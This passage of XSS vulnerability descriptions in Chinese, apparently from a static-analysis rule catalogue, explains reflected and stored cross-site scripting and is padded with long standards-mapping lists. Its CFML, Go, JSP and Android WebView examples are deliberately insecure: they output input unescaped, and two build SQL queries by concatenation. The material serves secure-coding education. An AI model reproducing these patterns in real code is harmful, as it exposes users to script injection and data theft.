[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.cobol.cross_site_scripting_reflected
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1: 以下的 CFML 程式碼片段,會從網路表單中讀取員工識別碼 eid,並將其顯示給使用者。


<cfoutput>
Employee ID: #Form.eid#
</cfoutput>


如果 Form.eid 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 Form.eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 2: 以下的 CFML 程式碼片段,根據提供的員工識別碼來查詢資料庫,並列印出該員工的相應姓名。

 
<cfquery name="matchingEmployees" datasource="cfsnippets">
SELECT name
FROM Employees
WHERE eid = '#Form.eid#'
</cfquery>
<cfoutput>
Employee Name: #name#
</cfoutput>


Example 1 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 2 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] ColdFusion Developer Center: Security Macromedia
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.cfml.cross_site_scripting_reflected
Abstract
傳送未經驗證的資料至網頁瀏覽器,會導致瀏覽器執行惡意程式碼。
Explanation
Cross-Site Scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。

2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。


範例 1:以下 Go 程式碼片段會從 HTTP 要求中讀取使用者名稱 user,並向使用者顯示。

func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
user := r.FormValue("user")
...
fmt.Fprintln(w, "Username is: ", user)
}


如果 user 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 user 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 2:以下 Go 程式碼片段會查詢資料庫中具有指定 ID 的員工,然後列印相對應的員工姓名。

func someHandler(w http.ResponseWriter, r *http.Request){
...
row := db.QueryRow("SELECT name FROM users WHERE id =" + userid)
err := row.Scan(&name)
...
fmt.Fprintln(w, "Username is: ", name)
}


Example 1 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果沒有對所有儲存在資料庫中的資料進行適當的輸入驗證,那麼攻擊者即可在使用者的網頁瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其極其隱蔽,會因為間接的資料儲存方式而難以辨別該威脅,並會提高影響多個使用者的可能性。XSS 弱點會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所示,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由網頁瀏覽器執行時,就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 2 所示,應用程式會將危險資料儲存在資料庫或其他可信任的資料存放區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者執行需要權限許可的操作,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料存放區中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.golang.cross_site_scripting_reflected
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下 JSP 程式碼片段會從 HTTP 要求中讀取員工識別碼 eid,並將其向使用者顯示。


<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>


如果 eid 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 2:以下 JSP 程式碼片段會在資料庫中查詢具有指定識別碼的員工,並列印相應的員工姓名。


<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}
%>

Employee Name: <%= name %>


Example 1 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

有人認為在行動環境中,典型的 Web 應用程式弱點 (例如跨網站指令碼) 不會產生影響,因為使用者為何會攻擊自己呢?但是請謹記,行動平台的本質是從多種來源下載,並在相同裝置上一起執行的應用程式。在金融應用程式旁執行惡意程式碼的可能性很高,這必然會擴大行動應用程式的受攻擊面,將程序之間的通訊包括在內。

範例 3:以下程式碼會在 Android 的 WebView 中啟用 JavaScript (預設狀況下停用 JavaScript),並根據從 Android 用意接收的值載入頁面。


...
WebView webview = (WebView) findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(true);
String url = this.getIntent().getExtras().getString("url");
webview.loadUrl(url);
...


url 的值以 javascript: 開頭,隨後的 JavaScript 程式碼將在網頁範圍中的 WebView 內執行。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

